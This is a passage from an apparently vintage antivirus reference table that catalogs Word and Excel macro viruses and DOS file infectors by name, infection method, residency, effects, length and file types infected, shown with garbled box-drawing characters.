º.Influenza ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Inside ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Innocence (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Italian ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Irish ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Jakutsk ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Johnny ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Kepek ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Kerranga ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.KillDll ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.KillDOS ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Killer ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Killok ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.KillProt ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Killuf ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Kompu ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Lamah ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Lazy ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Lemon ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Ler ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Look ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Lord ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Lunch (2)¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.MadDog (2)¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Magnum ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Makrone ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Malaria ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Malice ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Mark ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.MDMA (3)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.MG (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Minimal (15)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Minimorph ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Monday ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Mota ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Mtf (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Muck ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Munch ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.MVDK ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Navrhar ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Newyear ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.NiceDay ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Nikita ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Nf (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Niki ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Niknat ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.NJ.based ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.No-F ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.NoMercy (5)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Nop (6)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.NoPrint ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Nova ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.NPad ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.NPoly ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Nuclear (3)¦Word¦GLB ¦ HV ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Oblom (3)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Ochoy ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.OldPad ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Ordo ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Orhey ¦Word¦GLB ¦ HV ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Outlaw (3)¦Word¦GLB ¦ S ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Oval ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Paper ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Parasite (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Pcw ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Percent ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Pesan ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Phantom ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Phardera ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Pig (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Plushad ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Polite ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Puritan ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Pwd ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Quevi ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Quick ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Ramses ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Randomic (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Rapi ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Reflex ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Safwan ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Sam ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Sarabaya (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Satanic ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Saver (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Schoo ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Screw ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.ShareFun ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Showofxx ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Shuffle ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.SetMode ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Shadow ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Simple ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Since ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Skammy (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Slow ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Smiley ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Snickers ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Sok ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Spooky ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Spy ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Sunbeam ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Supers ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Stryx ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Switch (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Swlabs (4)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Taguchi ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Talon (3)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Tamago ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Target ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Tear (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Terror ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Tedious ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Telefonica ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Test ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Testarea ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Theatre ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Thebman ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Trash ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Twno (10)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.UglyKid ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Uka ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Vampire (3)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.VH1 ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Vhdl ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Vicinity (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Viciss ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Vioshki ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Volcano ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.WallPaper ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Want ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Wazzu (22)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Waverley ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Weather ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Wieder ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Worm ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Xenixos ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Yaka ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Zero (2)¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC*¦ i ¦ ? º
º.Zmb ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? º
º.Zoolog ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC ¦ i ¦ ? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºWormsign.1547 ¦FIND¦ - *¦ HV ¦1547 ¦ .C&C * ¦ e ¦ L º
ºWormsign.1710 ¦FIND¦ - *¦ HV ¦1710 ¦ .C&C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºWorry.556 ¦INT ¦MCB ¦ V ¦556 ¦ C * ¦ e ¦ L º
ºWorry.562 ¦INT ¦MCB ¦ V ¦562 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºWpcBats.3072 ¦INT ¦MCB ¦ V ¦3072 ¦ .C.E&CE* ¦ e ¦ L+p º
ºWpcBats.3161 ¦INT ¦MCB ¦ V ¦3161 ¦ .C.E&CE* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºWreck.92 ¦INT ¦KEEP¦ H ¦92 ¦ E * ¦ s ¦ 0, overwrite º
ºWreck.462 ¦INT ¦KEEP¦ HV ¦462 ¦ E * ¦ s ¦ 0, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºWvp.352 ¦INT ¦MCB ¦ - ¦352 ¦ C ¦ s ¦ L º
ºWvp.382 ¦INT ¦MCB ¦ - ¦382 ¦ C ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºWadimka.481 ¦INT ¦INTB¦ - ¦481 ¦ E * ¦ e ¦ L+p º
ºWarrior.1024 ¦FIND¦ * ¦ H ¦1024 ¦ .E&E * ¦ e ¦ L+p º
ºWalker.3846 ¦INT ¦MCB ¦ V ¦3846 ¦ CE * ¦ e ¦ L+p º
ºWally.1029 ¦FIND¦ - ¦ HV ¦1029 ¦ .C * ¦ e ¦ L º
ºWang.656 ¦INT ¦MCB ¦ VEr¦656 ¦ .C.E ¦ e ¦ L+p º
ºWaria.479 ¦FIND¦ - ¦ V ¦479 ¦ .C * ¦ e ¦ L º
ºWart.559 ¦INT ¦KEEP¦ H ¦559 ¦ E * ¦ e ¦ L+p º
ºWatshira.2048(3)INT ¦MCB ¦ H ¦2048 ¦ CE * ¦CsEe ¦ L º
ºWeirdo.555 ¦INT ¦MCB*¦ - ¦555 ¦ .E * ¦ s ¦ L, companion º
ºWeekDay.1614 ¦INT ¦MCB ¦ - ¦1614 ¦ CE * ¦ e ¦ L º
ºWhale.9216 ¦INT ¦MCB ¦ V ¦9216 ¦ CEO * ¦ e ¦ L+p+(0-16) º
ºWherex.1688 ¦INT ¦MCB ¦ HV ¦1688 ¦ CE * ¦ e ¦ L+p º
ºWhimsy.256 ¦FIND¦ - ¦ - ¦256 ¦ .C ¦ e ¦ L º
ºWhiteAwe.2675 ¦INT ¦KEEP¦ V ¦2675 ¦ E * ¦ e ¦ L+? º
ºWildy.354 ¦INT ¦MCB ¦ Er ¦354 ¦ C ¦ s ¦ L º
ºWintermute.1052¦INT ¦MCB ¦ - ¦1052 ¦ CE ¦ e ¦ L º
ºWisconsin.815 ¦FIND¦ - ¦ HV ¦815 ¦ .C * ¦ s ¦ L+10 º
ºWitching.1400(2¦FIND¦ - ¦ - ¦1400 ¦ .E&E * ¦ e ¦ L º
ºWra.512 ¦FIND¦ - ¦ V ¦512 ¦ .C&C * ¦ e ¦ L º
ºWWPE.Rsa ¦INT ¦MCB ¦ HV ¦4568 ¦CE.ZIP.ARJ*¦ e ¦ L+? º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part X
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºX-Mrei.866 ¦INT ¦MCB ¦ V ¦866 ¦ .C.E&CE* ¦ e ¦ L º
ºX-Mrei.1405 ¦INT ¦MCB ¦ V ¦1405 ¦ .C.E&CE* ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºXAM.278 ¦INT ¦MCB ¦ - ¦278 ¦ E * ¦ i ¦ 0 º
ºXAM.797 ¦INT ¦MCB ¦ - ¦797 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+24+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºExcel MS-Office'97 - viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºX97M.Laroux ¦OF97¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºExcelMacro.Formula - viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºXF.Paix ¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºExcelMacro - viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºXM.Delta (2)¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? º
º.DMV ¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? º
º.Don ¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? º
º.Emperor ¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? º
º.Hit (2)¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? º
º.Laroux (3)¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? º
º.Legend ¦Excl¦GLB ¦ V ¦ ? ¦WinExclXLS*¦ i ¦ ? º
º.NoMercy ¦Excl¦GLB ¦ V ¦ ? ¦WinExclXLS ¦ i ¦ ? º
º.Phantom ¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? º
º.Robocop ¦Excl¦GLB ¦ H ¦ ? ¦WinExclXLS*¦ i ¦ ? º
º.Sofa ¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? º
º.Tjoro (2)¦Excl¦GLB ¦ - ¦ ? ¦WinExclXLS ¦ i ¦ ? º
º.Yohimbe ¦Excl¦GLB ¦ H ¦ ? ¦WinExclXLS*¦ i ¦ ? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºXPEH.3600 ¦INT ¦MCB ¦ - ¦3600 ¦ CEO ¦ e ¦ L+p+128 º
ºXPEH.3840 ¦INT ¦MCB ¦ H ¦3840 ¦ CEO ¦ e ¦ L+p+128 º
ºXPEH.3872 ¦INT ¦MCB ¦ H ¦3872 ¦ CEO ¦ e ¦ L+p+128 º
ºXPEH.4048 (2)¦INT ¦MCB ¦ H ¦4048 ¦ CEO ¦ e ¦ L º
ºXPEH.4752 ¦INT ¦MCB ¦ - ¦4752 ¦ CEO ¦ e ¦ L+p º
ºXPEH.4768 ¦INT ¦MCB ¦ H ¦4768 ¦ CEO ¦ e ¦ L+p+128 º
ºXPEH.5488 ¦INT ¦MCB ¦ H ¦5488 ¦ CEO ¦ e ¦ L+p+128 º
ºXPEH.5792 ¦INT ¦MCB ¦ V ¦5792 ¦ CEO ¦ e ¦ L+p+10 º
ºXPEH.5840 ¦INT ¦MCB ¦ V ¦5840 ¦ CEO ¦ e ¦ L+p+128 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºXuxa.1096 ¦INT ¦MCB ¦ V ¦1096 ¦ C * ¦ e ¦ L º
ºXuxa.1656 ¦INT ¦MCB ¦ V ¦1656 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºXA1.1539 (2)¦FIND¦ - ¦ HV ¦1539 ¦ .C ¦ s ¦ L º
ºXak.3132 ¦INT ¦MCB ¦ H ¦3132 ¦ C ¦ e ¦ L º
ºXed.2869 ¦INT ¦MCB ¦ H ¦2869 ¦ .C.E&CE ¦ e ¦ L º
ºXtac.1564 ¦INT ¦KEEP¦ H ¦1564 ¦ CE * ¦ e ¦ L+p,COMMAND.COM-0º
ºXxx.1060 ¦INFI¦MCB ¦ HV ¦1060 ¦ C ¦ s ¦ L º
ºXyz.1561 ¦INT ¦KEEP¦ VEr¦1561 ¦ .C.E&CE* ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part Y
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºYard.448 ¦INT ¦MCB ¦ H ¦448 ¦ C * ¦ e ¦ L º
ºYard.590 ¦INT ¦MCB ¦ H ¦590 ¦ CE * ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºYeke.1204 ¦INT ¦MCB ¦ VS ¦1204 ¦ E * ¦ e ¦ L º
ºYeke.1706 ¦INT ¦MCB ¦ VS ¦1706 ¦ E * ¦ e ¦ L º
ºYeke.2425 ¦INT ¦MCB ¦ HVS¦2425 ¦ E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºYerg.120 ¦INT ¦INTB¦ - ¦120 ¦ C * ¦ e ¦ L º
ºYerg.126 ¦INT ¦INTB¦ - ¦126 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºYankee.1202 ¦INT ¦MCB ¦ - ¦1202 ¦ CE ¦ e ¦ L+p º
ºYankee.2561 ¦INT ¦MCB ¦ V ¦2561 ¦ CE * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºYosha.275 ¦INT ¦INTB¦ - ¦275 ¦ C ¦ e ¦ L º
ºYosha.745 ¦INT ¦MCB ¦ V ¦745 ¦ C ¦ e ¦ L º
